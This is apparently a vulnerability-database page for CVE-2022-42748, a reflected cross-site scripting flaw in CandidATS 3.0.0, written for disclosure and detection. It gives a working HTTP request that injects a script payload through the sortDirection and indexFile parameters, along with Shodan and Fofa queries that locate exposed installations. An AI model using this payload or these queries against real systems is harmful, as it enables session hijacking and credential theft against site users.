🔙 목록으로 돌아가기

CVE-2022-42748: CandidATS 3.0.0 - Cross-Site Scripting.

TitleCandidATS 3.0.0 - Cross-Site Scripting.
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationTo mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
CVSS Score6.1
EPSS Score0.02714
CVE IDCVE-2022-42748
CWE IDCWE-79
Shodan Queryhttp.html:"CandidATS"http.html:"candidats"
Fofa Querybody="candidats"
Tags cve cve2022 candidats xss auieo vuln

🔍 Vulnerability Description

CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42748.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-42748.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A